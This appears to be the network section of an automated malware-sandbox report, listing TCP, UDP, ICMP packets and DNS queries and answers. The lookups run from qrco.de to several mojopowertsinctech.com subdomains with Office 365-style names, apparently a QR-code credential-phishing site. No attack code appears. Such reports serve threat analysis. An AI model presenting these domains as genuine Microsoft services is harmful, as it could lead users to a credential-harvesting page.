Feb 23, 2024 11:49:54.569345951 CET	443	49785	104.21.50.101	192.168.2.4
Feb 23, 2024 11:49:54.569432020 CET	443	49785	104.21.50.101	192.168.2.4
Feb 23, 2024 11:49:54.569494963 CET	49785	443	192.168.2.4	104.21.50.101
Feb 23, 2024 11:49:54.594938040 CET	49785	443	192.168.2.4	104.21.50.101
Feb 23, 2024 11:49:54.594986916 CET	443	49785	104.21.50.101	192.168.2.4
Feb 23, 2024 11:49:59.761013031 CET	443	49792	172.67.204.183	192.168.2.4
Feb 23, 2024 11:49:59.761084080 CET	443	49792	172.67.204.183	192.168.2.4
Feb 23, 2024 11:49:59.761928082 CET	49792	443	192.168.2.4	172.67.204.183
Feb 23, 2024 11:50:00.873954058 CET	49792	443	192.168.2.4	172.67.204.183
Feb 23, 2024 11:50:00.873979092 CET	443	49792	172.67.204.183	192.168.2.4
Feb 23, 2024 11:50:19.894737005 CET	49829	443	192.168.2.4	142.251.40.164
Feb 23, 2024 11:50:19.894798994 CET	443	49829	142.251.40.164	192.168.2.4
Feb 23, 2024 11:50:19.894866943 CET	49829	443	192.168.2.4	142.251.40.164
Feb 23, 2024 11:50:19.895634890 CET	49829	443	192.168.2.4	142.251.40.164
Feb 23, 2024 11:50:19.895651102 CET	443	49829	142.251.40.164	192.168.2.4
Feb 23, 2024 11:50:20.170295954 CET	443	49829	142.251.40.164	192.168.2.4
Feb 23, 2024 11:50:20.177922964 CET	49829	443	192.168.2.4	142.251.40.164
Feb 23, 2024 11:50:20.177992105 CET	443	49829	142.251.40.164	192.168.2.4
Feb 23, 2024 11:50:20.179414034 CET	443	49829	142.251.40.164	192.168.2.4
Feb 23, 2024 11:50:20.180484056 CET	49829	443	192.168.2.4	142.251.40.164
Feb 23, 2024 11:50:20.180686951 CET	443	49829	142.251.40.164	192.168.2.4
Feb 23, 2024 11:50:20.231338024 CET	49829	443	192.168.2.4	142.251.40.164
Feb 23, 2024 11:50:24.429517031 CET	49830	443	192.168.2.4	35.190.80.1
Feb 23, 2024 11:50:24.429605007 CET	443	49830	35.190.80.1	192.168.2.4
Feb 23, 2024 11:50:24.429699898 CET	49830	443	192.168.2.4	35.190.80.1
Feb 23, 2024 11:50:24.430072069 CET	49830	443	192.168.2.4	35.190.80.1
Feb 23, 2024 11:50:24.430110931 CET	443	49830	35.190.80.1	192.168.2.4
Feb 23, 2024 11:50:24.620775938 CET	443	49830	35.190.80.1	192.168.2.4
Feb 23, 2024 11:50:24.621139050 CET	49830	443	192.168.2.4	35.190.80.1
Feb 23, 2024 11:50:24.621175051 CET	443	49830	35.190.80.1	192.168.2.4
Feb 23, 2024 11:50:24.622680902 CET	443	49830	35.190.80.1	192.168.2.4
Feb 23, 2024 11:50:24.622751951 CET	49830	443	192.168.2.4	35.190.80.1
Feb 23, 2024 11:50:24.786314011 CET	49830	443	192.168.2.4	35.190.80.1
Feb 23, 2024 11:50:24.786523104 CET	443	49830	35.190.80.1	192.168.2.4
Feb 23, 2024 11:50:24.786570072 CET	49830	443	192.168.2.4	35.190.80.1
Feb 23, 2024 11:50:24.829019070 CET	49830	443	192.168.2.4	35.190.80.1
Feb 23, 2024 11:50:24.829047918 CET	443	49830	35.190.80.1	192.168.2.4
Feb 23, 2024 11:50:24.887115955 CET	49830	443	192.168.2.4	35.190.80.1
Feb 23, 2024 11:50:24.906541109 CET	443	49830	35.190.80.1	192.168.2.4
Feb 23, 2024 11:50:24.906639099 CET	443	49830	35.190.80.1	192.168.2.4
Feb 23, 2024 11:50:24.906694889 CET	49830	443	192.168.2.4	35.190.80.1
Feb 23, 2024 11:50:24.907356024 CET	49830	443	192.168.2.4	35.190.80.1
Feb 23, 2024 11:50:24.907396078 CET	443	49830	35.190.80.1	192.168.2.4
Feb 23, 2024 11:50:24.910223007 CET	49831	443	192.168.2.4	35.190.80.1
Feb 23, 2024 11:50:24.910258055 CET	443	49831	35.190.80.1	192.168.2.4
Feb 23, 2024 11:50:24.910316944 CET	49831	443	192.168.2.4	35.190.80.1
Feb 23, 2024 11:50:24.912329912 CET	49831	443	192.168.2.4	35.190.80.1
Feb 23, 2024 11:50:24.912347078 CET	443	49831	35.190.80.1	192.168.2.4
Feb 23, 2024 11:50:25.096096992 CET	443	49831	35.190.80.1	192.168.2.4
Feb 23, 2024 11:50:25.112848043 CET	49831	443	192.168.2.4	35.190.80.1
Feb 23, 2024 11:50:25.112875938 CET	443	49831	35.190.80.1	192.168.2.4
Feb 23, 2024 11:50:25.113392115 CET	443	49831	35.190.80.1	192.168.2.4
Feb 23, 2024 11:50:25.114546061 CET	49831	443	192.168.2.4	35.190.80.1
Feb 23, 2024 11:50:25.114643097 CET	443	49831	35.190.80.1	192.168.2.4
Feb 23, 2024 11:50:25.114903927 CET	49831	443	192.168.2.4	35.190.80.1
Feb 23, 2024 11:50:25.157931089 CET	443	49831	35.190.80.1	192.168.2.4
Feb 23, 2024 11:50:25.308657885 CET	443	49831	35.190.80.1	192.168.2.4
Feb 23, 2024 11:50:25.308738947 CET	443	49831	35.190.80.1	192.168.2.4
Feb 23, 2024 11:50:25.308789968 CET	49831	443	192.168.2.4	35.190.80.1
Feb 23, 2024 11:50:25.309334040 CET	49831	443	192.168.2.4	35.190.80.1
Feb 23, 2024 11:50:25.309354067 CET	443	49831	35.190.80.1	192.168.2.4
Feb 23, 2024 11:50:30.162055016 CET	443	49829	142.251.40.164	192.168.2.4
Feb 23, 2024 11:50:30.162117004 CET	443	49829	142.251.40.164	192.168.2.4
Feb 23, 2024 11:50:30.162259102 CET	49829	443	192.168.2.4	142.251.40.164
Feb 23, 2024 11:50:30.534486055 CET	49829	443	192.168.2.4	142.251.40.164
Feb 23, 2024 11:50:30.534528971 CET	443	49829	142.251.40.164	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Feb 23, 2024 11:49:16.110945940 CET	53	54918	1.1.1.1	192.168.2.4
Feb 23, 2024 11:49:16.331859112 CET	64452	53	192.168.2.4	1.1.1.1
Feb 23, 2024 11:49:16.332457066 CET	60343	53	192.168.2.4	1.1.1.1
Feb 23, 2024 11:49:16.333831072 CET	55865	53	192.168.2.4	1.1.1.1
Feb 23, 2024 11:49:16.334413052 CET	51876	53	192.168.2.4	1.1.1.1
Feb 23, 2024 11:49:16.420238972 CET	53	64452	1.1.1.1	192.168.2.4
Feb 23, 2024 11:49:16.420305967 CET	53	60343	1.1.1.1	192.168.2.4
Feb 23, 2024 11:49:16.421663046 CET	53	55865	1.1.1.1	192.168.2.4
Feb 23, 2024 11:49:16.421705961 CET	53	51876	1.1.1.1	192.168.2.4
Feb 23, 2024 11:49:17.012702942 CET	53	55750	1.1.1.1	192.168.2.4
Feb 23, 2024 11:49:18.140060902 CET	52317	53	192.168.2.4	1.1.1.1
Feb 23, 2024 11:49:18.140306950 CET	64634	53	192.168.2.4	1.1.1.1
Feb 23, 2024 11:49:18.229284048 CET	53	64634	1.1.1.1	192.168.2.4
Feb 23, 2024 11:49:18.258856058 CET	53	52317	1.1.1.1	192.168.2.4
Feb 23, 2024 11:49:18.719795942 CET	52740	53	192.168.2.4	1.1.1.1
Feb 23, 2024 11:49:18.719953060 CET	61534	53	192.168.2.4	1.1.1.1
Feb 23, 2024 11:49:18.848716974 CET	53	52740	1.1.1.1	192.168.2.4
Feb 23, 2024 11:49:18.849828005 CET	53	61534	1.1.1.1	192.168.2.4
Feb 23, 2024 11:49:19.830183983 CET	55911	53	192.168.2.4	1.1.1.1
Feb 23, 2024 11:49:19.830995083 CET	61813	53	192.168.2.4	1.1.1.1
Feb 23, 2024 11:49:19.918251038 CET	53	55911	1.1.1.1	192.168.2.4
Feb 23, 2024 11:49:19.918951988 CET	53	61813	1.1.1.1	192.168.2.4
Feb 23, 2024 11:49:20.397851944 CET	55000	53	192.168.2.4	1.1.1.1
Feb 23, 2024 11:49:20.397851944 CET	65009	53	192.168.2.4	1.1.1.1
Feb 23, 2024 11:49:20.530345917 CET	53	55000	1.1.1.1	192.168.2.4
Feb 23, 2024 11:49:20.596798897 CET	53	65009	1.1.1.1	192.168.2.4
Feb 23, 2024 11:49:22.733679056 CET	60565	53	192.168.2.4	1.1.1.1
Feb 23, 2024 11:49:22.737443924 CET	59791	53	192.168.2.4	1.1.1.1
Feb 23, 2024 11:49:22.822082043 CET	53	60565	1.1.1.1	192.168.2.4
Feb 23, 2024 11:49:22.826050043 CET	53	59791	1.1.1.1	192.168.2.4
Feb 23, 2024 11:49:24.357209921 CET	56785	53	192.168.2.4	1.1.1.1
Feb 23, 2024 11:49:24.357726097 CET	60926	53	192.168.2.4	1.1.1.1
Feb 23, 2024 11:49:25.352180004 CET	53633	53	192.168.2.4	1.1.1.1
Feb 23, 2024 11:49:25.353189945 CET	60263	53	192.168.2.4	1.1.1.1
Feb 23, 2024 11:49:25.442703009 CET	53	53633	1.1.1.1	192.168.2.4
Feb 23, 2024 11:49:25.448923111 CET	53	60263	1.1.1.1	192.168.2.4
Feb 23, 2024 11:49:29.521859884 CET	61827	53	192.168.2.4	1.1.1.1
Feb 23, 2024 11:49:29.522145033 CET	63755	53	192.168.2.4	1.1.1.1
Feb 23, 2024 11:49:29.610652924 CET	53	61827	1.1.1.1	192.168.2.4
Feb 23, 2024 11:49:29.650940895 CET	53	63755	1.1.1.1	192.168.2.4
Feb 23, 2024 11:49:30.334916115 CET	53	65161	1.1.1.1	192.168.2.4
Feb 23, 2024 11:49:34.152792931 CET	53	57191	1.1.1.1	192.168.2.4
Feb 23, 2024 11:49:37.739866018 CET	138	138	192.168.2.4	192.168.2.255
Feb 23, 2024 11:49:45.416922092 CET	65383	53	192.168.2.4	1.1.1.1
Feb 23, 2024 11:49:45.417757988 CET	64566	53	192.168.2.4	1.1.1.1
Feb 23, 2024 11:49:48.621144056 CET	49546	53	192.168.2.4	1.1.1.1
Feb 23, 2024 11:49:48.624193907 CET	57639	53	192.168.2.4	1.1.1.1
Feb 23, 2024 11:49:49.245568991 CET	56752	53	192.168.2.4	1.1.1.1
Feb 23, 2024 11:49:49.245924950 CET	64275	53	192.168.2.4	1.1.1.1
Feb 23, 2024 11:49:49.992748976 CET	53	50520	1.1.1.1	192.168.2.4
Feb 23, 2024 11:49:50.194585085 CET	63820	53	192.168.2.4	1.1.1.1
Feb 23, 2024 11:49:50.194585085 CET	57073	53	192.168.2.4	1.1.1.1
Feb 23, 2024 11:49:50.908626080 CET	63735	53	192.168.2.4	1.1.1.1
Feb 23, 2024 11:49:50.909106016 CET	51249	53	192.168.2.4	1.1.1.1
Feb 23, 2024 11:49:52.869095087 CET	61822	53	192.168.2.4	1.1.1.1
Feb 23, 2024 11:49:52.869453907 CET	55452	53	192.168.2.4	1.1.1.1
Feb 23, 2024 11:49:53.195822001 CET	53	50351	1.1.1.1	192.168.2.4
Feb 23, 2024 11:50:15.765400887 CET	53	49603	1.1.1.1	192.168.2.4
Feb 23, 2024 11:50:16.364918947 CET	53	51564	1.1.1.1	192.168.2.4
Feb 23, 2024 11:50:24.340080976 CET	52860	53	192.168.2.4	1.1.1.1
Feb 23, 2024 11:50:24.340540886 CET	54276	53	192.168.2.4	1.1.1.1
Feb 23, 2024 11:50:24.428273916 CET	53	52860	1.1.1.1	192.168.2.4
Feb 23, 2024 11:50:24.429076910 CET	53	54276	1.1.1.1	192.168.2.4
Feb 23, 2024 11:50:42.959809065 CET	53	62465	1.1.1.1	192.168.2.4

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Feb 23, 2024 11:49:20.596893072 CET	192.168.2.4	1.1.1.1	c23b	(Port unreachable)	Destination Unreachable
Feb 23, 2024 11:49:29.651021957 CET	192.168.2.4	1.1.1.1	c23a	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Feb 23, 2024 11:49:16.331859112 CET	192.168.2.4	1.1.1.1	0x70ef	Standard query (0)	clients2.google.com	A (IP address)	IN (0x0001)	false
Feb 23, 2024 11:49:16.332457066 CET	192.168.2.4	1.1.1.1	0xbce0	Standard query (0)	clients2.google.com	65	IN (0x0001)	false
Feb 23, 2024 11:49:16.333831072 CET	192.168.2.4	1.1.1.1	0x2b20	Standard query (0)	accounts.google.com	A (IP address)	IN (0x0001)	false
Feb 23, 2024 11:49:16.334413052 CET	192.168.2.4	1.1.1.1	0x430f	Standard query (0)	accounts.google.com	65	IN (0x0001)	false
Feb 23, 2024 11:49:18.140060902 CET	192.168.2.4	1.1.1.1	0x3200	Standard query (0)	qrco.de	A (IP address)	IN (0x0001)	false
Feb 23, 2024 11:49:18.140306950 CET	192.168.2.4	1.1.1.1	0xb59d	Standard query (0)	qrco.de	65	IN (0x0001)	false
Feb 23, 2024 11:49:18.719795942 CET	192.168.2.4	1.1.1.1	0x5cfb	Standard query (0)	o365.mojopowertsinctech.com	A (IP address)	IN (0x0001)	false
Feb 23, 2024 11:49:18.719953060 CET	192.168.2.4	1.1.1.1	0x2d61	Standard query (0)	o365.mojopowertsinctech.com	65	IN (0x0001)	false
Feb 23, 2024 11:49:19.830183983 CET	192.168.2.4	1.1.1.1	0x246e	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Feb 23, 2024 11:49:19.830995083 CET	192.168.2.4	1.1.1.1	0x488b	Standard query (0)	www.google.com	65	IN (0x0001)	false
Feb 23, 2024 11:49:20.397851944 CET	192.168.2.4	1.1.1.1	0x2a86	Standard query (0)	react.mojopowertsinctech.com	A (IP address)	IN (0x0001)	false
Feb 23, 2024 11:49:20.397851944 CET	192.168.2.4	1.1.1.1	0xaefc	Standard query (0)	react.mojopowertsinctech.com	65	IN (0x0001)	false
Feb 23, 2024 11:49:22.733679056 CET	192.168.2.4	1.1.1.1	0x2fdb	Standard query (0)	aadcdn.msftauth.net	A (IP address)	IN (0x0001)	false
Feb 23, 2024 11:49:22.737443924 CET	192.168.2.4	1.1.1.1	0xd70a	Standard query (0)	aadcdn.msftauth.net	65	IN (0x0001)	false
Feb 23, 2024 11:49:24.357209921 CET	192.168.2.4	1.1.1.1	0x4476	Standard query (0)	identity.nel.measure.office.net	A (IP address)	IN (0x0001)	false
Feb 23, 2024 11:49:24.357726097 CET	192.168.2.4	1.1.1.1	0x52d	Standard query (0)	identity.nel.measure.office.net	65	IN (0x0001)	false
Feb 23, 2024 11:49:25.352180004 CET	192.168.2.4	1.1.1.1	0xc550	Standard query (0)	ywnjb.mojopowertsinctech.com	A (IP address)	IN (0x0001)	false
Feb 23, 2024 11:49:25.353189945 CET	192.168.2.4	1.1.1.1	0x7eb5	Standard query (0)	ywnjb.mojopowertsinctech.com	65	IN (0x0001)	false
Feb 23, 2024 11:49:29.521859884 CET	192.168.2.4	1.1.1.1	0xda83	Standard query (0)	o365.mojopowertsinctech.com	A (IP address)	IN (0x0001)	false
Feb 23, 2024 11:49:29.522145033 CET	192.168.2.4	1.1.1.1	0xfed2	Standard query (0)	o365.mojopowertsinctech.com	65	IN (0x0001)	false
Feb 23, 2024 11:49:45.416922092 CET	192.168.2.4	1.1.1.1	0xfda2	Standard query (0)	signup.live.com	A (IP address)	IN (0x0001)	false
Feb 23, 2024 11:49:45.417757988 CET	192.168.2.4	1.1.1.1	0x8cf9	Standard query (0)	signup.live.com	65	IN (0x0001)	false
Feb 23, 2024 11:49:48.621144056 CET	192.168.2.4	1.1.1.1	0xf820	Standard query (0)	acctcdn.msftauth.net	A (IP address)	IN (0x0001)	false
Feb 23, 2024 11:49:48.624193907 CET	192.168.2.4	1.1.1.1	0xef7f	Standard query (0)	acctcdn.msftauth.net	65	IN (0x0001)	false
Feb 23, 2024 11:49:49.245568991 CET	192.168.2.4	1.1.1.1	0xd0b4	Standard query (0)	acctcdn.msftauth.net	A (IP address)	IN (0x0001)	false
Feb 23, 2024 11:49:49.245924950 CET	192.168.2.4	1.1.1.1	0x35a6	Standard query (0)	acctcdn.msftauth.net	65	IN (0x0001)	false
Feb 23, 2024 11:49:50.194585085 CET	192.168.2.4	1.1.1.1	0x4a2a	Standard query (0)	fpt.live.com	65	IN (0x0001)	false
Feb 23, 2024 11:49:50.194585085 CET	192.168.2.4	1.1.1.1	0x4ad0	Standard query (0)	fpt.live.com	A (IP address)	IN (0x0001)	false
Feb 23, 2024 11:49:50.908626080 CET	192.168.2.4	1.1.1.1	0x3d5b	Standard query (0)	signup.live.com	A (IP address)	IN (0x0001)	false
Feb 23, 2024 11:49:50.909106016 CET	192.168.2.4	1.1.1.1	0x92f3	Standard query (0)	signup.live.com	65	IN (0x0001)	false
Feb 23, 2024 11:49:52.869095087 CET	192.168.2.4	1.1.1.1	0x24c4	Standard query (0)	fpt.live.com	A (IP address)	IN (0x0001)	false
Feb 23, 2024 11:49:52.869453907 CET	192.168.2.4	1.1.1.1	0xe7c7	Standard query (0)	fpt.live.com	65	IN (0x0001)	false
Feb 23, 2024 11:50:24.340080976 CET	192.168.2.4	1.1.1.1	0x7fc1	Standard query (0)	a.nel.cloudflare.com	A (IP address)	IN (0x0001)	false
Feb 23, 2024 11:50:24.340540886 CET	192.168.2.4	1.1.1.1	0xc22b	Standard query (0)	a.nel.cloudflare.com	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Feb 23, 2024 11:49:16.420238972 CET	1.1.1.1	192.168.2.4	0x70ef	No error (0)	clients2.google.com	clients.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Feb 23, 2024 11:49:16.420238972 CET	1.1.1.1	192.168.2.4	0x70ef	No error (0)	clients.l.google.com		142.250.65.206	A (IP address)	IN (0x0001)	false
Feb 23, 2024 11:49:16.420305967 CET	1.1.1.1	192.168.2.4	0xbce0	No error (0)	clients2.google.com	clients.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Feb 23, 2024 11:49:16.421663046 CET	1.1.1.1	192.168.2.4	0x2b20	No error (0)	accounts.google.com		142.251.167.84	A (IP address)	IN (0x0001)	false
Feb 23, 2024 11:49:18.258856058 CET	1.1.1.1	192.168.2.4	0x3200	No error (0)	qrco.de		18.238.49.52	A (IP address)	IN (0x0001)	false
Feb 23, 2024 11:49:18.258856058 CET	1.1.1.1	192.168.2.4	0x3200	No error (0)	qrco.de		18.238.49.92	A (IP address)	IN (0x0001)	false
Feb 23, 2024 11:49:18.258856058 CET	1.1.1.1	192.168.2.4	0x3200	No error (0)	qrco.de		18.238.49.108	A (IP address)	IN (0x0001)	false
Feb 23, 2024 11:49:18.258856058 CET	1.1.1.1	192.168.2.4	0x3200	No error (0)	qrco.de		18.238.49.67	A (IP address)	IN (0x0001)	false
Feb 23, 2024 11:49:18.848716974 CET	1.1.1.1	192.168.2.4	0x5cfb	No error (0)	o365.mojopowertsinctech.com		104.21.50.101	A (IP address)	IN (0x0001)	false
Feb 23, 2024 11:49:18.848716974 CET	1.1.1.1	192.168.2.4	0x5cfb	No error (0)	o365.mojopowertsinctech.com		172.67.204.183	A (IP address)	IN (0x0001)	false
Feb 23, 2024 11:49:18.849828005 CET	1.1.1.1	192.168.2.4	0x2d61	No error (0)	o365.mojopowertsinctech.com			65	IN (0x0001)	false
Feb 23, 2024 11:49:19.918251038 CET	1.1.1.1	192.168.2.4	0x246e	No error (0)	www.google.com		142.251.40.164	A (IP address)	IN (0x0001)	false
Feb 23, 2024 11:49:19.918951988 CET	1.1.1.1	192.168.2.4	0x488b	No error (0)	www.google.com			65	IN (0x0001)	false
Feb 23, 2024 11:49:20.530345917 CET	1.1.1.1	192.168.2.4	0x2a86	No error (0)	react.mojopowertsinctech.com		104.21.50.101	A (IP address)	IN (0x0001)	false
Feb 23, 2024 11:49:20.530345917 CET	1.1.1.1	192.168.2.4	0x2a86	No error (0)	react.mojopowertsinctech.com		172.67.204.183	A (IP address)	IN (0x0001)	false
Feb 23, 2024 11:49:20.596798897 CET	1.1.1.1	192.168.2.4	0xaefc	No error (0)	react.mojopowertsinctech.com			65	IN (0x0001)	false
Feb 23, 2024 11:49:22.822082043 CET	1.1.1.1	192.168.2.4	0x2fdb	No error (0)	aadcdn.msftauth.net	cs1100.wpc.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Feb 23, 2024 11:49:22.822082043 CET	1.1.1.1	192.168.2.4	0x2fdb	No error (0)	cs1100.wpc.omegacdn.net		152.199.4.44	A (IP address)	IN (0x0001)	false
Feb 23, 2024 11:49:22.826050043 CET	1.1.1.1	192.168.2.4	0xd70a	No error (0)	aadcdn.msftauth.net	cs1100.wpc.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Feb 23, 2024 11:49:24.445481062 CET	1.1.1.1	192.168.2.4	0x4476	No error (0)	identity.nel.measure.office.net	nel.measure.office.net.edgesuite.net		CNAME (Canonical name)	IN (0x0001)	false
Feb 23, 2024 11:49:24.446676970 CET	1.1.1.1	192.168.2.4	0x52d	No error (0)	identity.nel.measure.office.net	nel.measure.office.net.edgesuite.net		CNAME (Canonical name)	IN (0x0001)	false
Feb 23, 2024 11:49:24.596362114 CET	1.1.1.1	192.168.2.4	0xd7f4	No error (0)	shed.dual-low.part-0012.t-0009.t-msedge.net	part-0012.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Feb 23, 2024 11:49:24.596362114 CET	1.1.1.1	192.168.2.4	0xd7f4	No error (0)	part-0012.t-0009.t-msedge.net		13.107.213.40	A (IP address)	IN (0x0001)	false
Feb 23, 2024 11:49:24.596362114 CET	1.1.1.1	192.168.2.4	0xd7f4	No error (0)	part-0012.t-0009.t-msedge.net		13.107.246.40	A (IP address)	IN (0x0001)	false
Feb 23, 2024 11:49:25.442703009 CET	1.1.1.1	192.168.2.4	0xc550	No error (0)	ywnjb.mojopowertsinctech.com		172.67.204.183	A (IP address)	IN (0x0001)	false
Feb 23, 2024 11:49:25.442703009 CET	1.1.1.1	192.168.2.4	0xc550	No error (0)	ywnjb.mojopowertsinctech.com		104.21.50.101	A (IP address)	IN (0x0001)	false
Feb 23, 2024 11:49:25.448923111 CET	1.1.1.1	192.168.2.4	0x7eb5	No error (0)	ywnjb.mojopowertsinctech.com			65	IN (0x0001)	false
Feb 23, 2024 11:49:26.235382080 CET	1.1.1.1	192.168.2.4	0x8188	No error (0)	shed.dual-low.part-0042.t-0009.t-msedge.net	part-0042.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Feb 23, 2024 11:49:26.235382080 CET	1.1.1.1	192.168.2.4	0x8188	No error (0)	part-0042.t-0009.t-msedge.net		13.107.246.70	A (IP address)	IN (0x0001)	false
Feb 23, 2024 11:49:26.235382080 CET	1.1.1.1	192.168.2.4	0x8188	No error (0)	part-0042.t-0009.t-msedge.net		13.107.213.70	A (IP address)	IN (0x0001)	false
Feb 23, 2024 11:49:29.610652924 CET	1.1.1.1	192.168.2.4	0xda83	No error (0)	o365.mojopowertsinctech.com		172.67.204.183	A (IP address)	IN (0x0001)	false
Feb 23, 2024 11:49:29.610652924 CET	1.1.1.1	192.168.2.4	0xda83	No error (0)	o365.mojopowertsinctech.com		104.21.50.101	A (IP address)	IN (0x0001)	false
Feb 23, 2024 11:49:29.650940895 CET	1.1.1.1	192.168.2.4	0xfed2	No error (0)	o365.mojopowertsinctech.com			65	IN (0x0001)	false
Feb 23, 2024 11:49:32.447621107 CET	1.1.1.1	192.168.2.4	0x4ce3	No error (0)	fp2e7a.wpc.2be4.phicdn.net	fp2e7a.wpc.phicdn.net		CNAME (Canonical name)	IN (0x0001)	false
Feb 23, 2024 11:49:32.447621107 CET	1.1.1.1	192.168.2.4	0x4ce3	No error (0)	fp2e7a.wpc.phicdn.net		192.229.211.108	A (IP address)	IN (0x0001)	false
Feb 23, 2024 11:49:45.361819983 CET	1.1.1.1	192.168.2.4	0x15a7	No error (0)	fp2e7a.wpc.2be4.phicdn.net	fp2e7a.wpc.phicdn.net		CNAME (Canonical name)	IN (0x0001)	false
Feb 23, 2024 11:49:45.361819983 CET	1.1.1.1	192.168.2.4	0x15a7	No error (0)	fp2e7a.wpc.phicdn.net		192.229.211.108	A (IP address)	IN (0x0001)	false
Feb 23, 2024 11:49:45.505768061 CET	1.1.1.1	192.168.2.4	0xfda2	No error (0)	signup.live.com	account.msa.msidentity.com		CNAME (Canonical name)	IN (0x0001)	false
Feb 23, 2024 11:49:45.516622066 CET	1.1.1.1	192.168.2.4	0x8cf9	No error (0)	signup.live.com	account.msa.msidentity.com		CNAME (Canonical name)	IN (0x0001)	false
Feb 23, 2024 11:49:48.711796999 CET	1.1.1.1	192.168.2.4	0xf820	No error (0)	acctcdn.msftauth.net	acctcdn.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Feb 23, 2024 11:49:48.711796999 CET	1.1.1.1	192.168.2.4	0xf820	No error (0)	shed.dual-low.part-0012.t-0009.t-msedge.net	part-0012.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Feb 23, 2024 11:49:48.711796999 CET	1.1.1.1	192.168.2.4	0xf820	No error (0)	part-0012.t-0009.t-msedge.net		13.107.246.40	A (IP address)	IN (0x0001)	false
Feb 23, 2024 11:49:48.711796999 CET	1.1.1.1	192.168.2.4	0xf820	No error (0)	part-0012.t-0009.t-msedge.net		13.107.213.40	A (IP address)	IN (0x0001)	false
Feb 23, 2024 11:49:48.715208054 CET	1.1.1.1	192.168.2.4	0xef7f	No error (0)	acctcdn.msftauth.net	acctcdn.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Feb 23, 2024 11:49:48.812530041 CET	1.1.1.1	192.168.2.4	0x3839	No error (0)	scdn1efff.wpc.9da5e.alphacdn.net	sni1gl.wpc.alphacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Feb 23, 2024 11:49:48.812557936 CET	1.1.1.1	192.168.2.4	0x29d3	No error (0)	scdn1efff.wpc.9da5e.alphacdn.net	sni1gl.wpc.alphacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Feb 23, 2024 11:49:48.812557936 CET	1.1.1.1	192.168.2.4	0x29d3	No error (0)	sni1gl.wpc.alphacdn.net		152.195.19.97	A (IP address)	IN (0x0001)	false
Feb 23, 2024 11:49:48.814831972 CET	1.1.1.1	192.168.2.4	0x635b	No error (0)	shed.dual-low.part-0012.t-0009.t-msedge.net	part-0012.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Feb 23, 2024 11:49:48.814831972 CET	1.1.1.1	192.168.2.4	0x635b	No error (0)	part-0012.t-0009.t-msedge.net		13.107.213.40	A (IP address)	IN (0x0001)	false
Feb 23, 2024 11:49:48.814831972 CET	1.1.1.1	192.168.2.4	0x635b	No error (0)	part-0012.t-0009.t-msedge.net		13.107.246.40	A (IP address)	IN (0x0001)	false
Feb 23, 2024 11:49:48.817199945 CET	1.1.1.1	192.168.2.4	0x4285	No error (0)	shed.dual-low.part-0012.t-0009.t-msedge.net	part-0012.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Feb 23, 2024 11:49:48.817199945 CET	1.1.1.1	192.168.2.4	0x4285	No error (0)	part-0012.t-0009.t-msedge.net		13.107.213.40	A (IP address)	IN (0x0001)	false
Feb 23, 2024 11:49:48.817199945 CET	1.1.1.1	192.168.2.4	0x4285	No error (0)	part-0012.t-0009.t-msedge.net		13.107.246.40	A (IP address)	IN (0x0001)	false
Feb 23, 2024 11:49:49.334135056 CET	1.1.1.1	192.168.2.4	0x35a6	No error (0)	acctcdn.msftauth.net	acctcdn.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Feb 23, 2024 11:49:49.334135056 CET	1.1.1.1	192.168.2.4	0x35a6	No error (0)	scdn1efff.wpc.9da5e.alphacdn.net	sni1gl.wpc.alphacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Feb 23, 2024 11:49:49.334487915 CET	1.1.1.1	192.168.2.4	0xd0b4	No error (0)	acctcdn.msftauth.net	acctcdn.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Feb 23, 2024 11:49:49.334487915 CET	1.1.1.1	192.168.2.4	0xd0b4	No error (0)	shed.dual-low.part-0012.t-0009.t-msedge.net	part-0012.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Feb 23, 2024 11:49:49.334487915 CET	1.1.1.1	192.168.2.4	0xd0b4	No error (0)	part-0012.t-0009.t-msedge.net		13.107.213.40	A (IP address)	IN (0x0001)	false
Feb 23, 2024 11:49:49.334487915 CET	1.1.1.1	192.168.2.4	0xd0b4	No error (0)	part-0012.t-0009.t-msedge.net		13.107.246.40	A (IP address)	IN (0x0001)	false
Feb 23, 2024 11:49:50.301135063 CET	1.1.1.1	192.168.2.4	0x4ad0	No error (0)	fpt.live.com	fpt.microsoft.com		CNAME (Canonical name)	IN (0x0001)	false
Feb 23, 2024 11:49:50.309190989 CET	1.1.1.1	192.168.2.4	0x4a2a	No error (0)	fpt.live.com	fpt.microsoft.com		CNAME (Canonical name)	IN (0x0001)	false
Feb 23, 2024 11:49:50.997723103 CET	1.1.1.1	192.168.2.4	0x3d5b	No error (0)	signup.live.com	account.msa.msidentity.com		CNAME (Canonical name)	IN (0x0001)	false
Feb 23, 2024 11:49:51.021922112 CET	1.1.1.1	192.168.2.4	0x92f3	No error (0)	signup.live.com	account.msa.msidentity.com		CNAME (Canonical name)	IN (0x0001)	false
Feb 23, 2024 11:49:52.957448959 CET	1.1.1.1	192.168.2.4	0x24c4	No error (0)	fpt.live.com	fpt.microsoft.com		CNAME (Canonical name)	IN (0x0001)	false
Feb 23, 2024 11:49:52.957603931 CET	1.1.1.1	192.168.2.4	0xe7c7	No error (0)	fpt.live.com	fpt.microsoft.com		CNAME (Canonical name)	IN (0x0001)	false
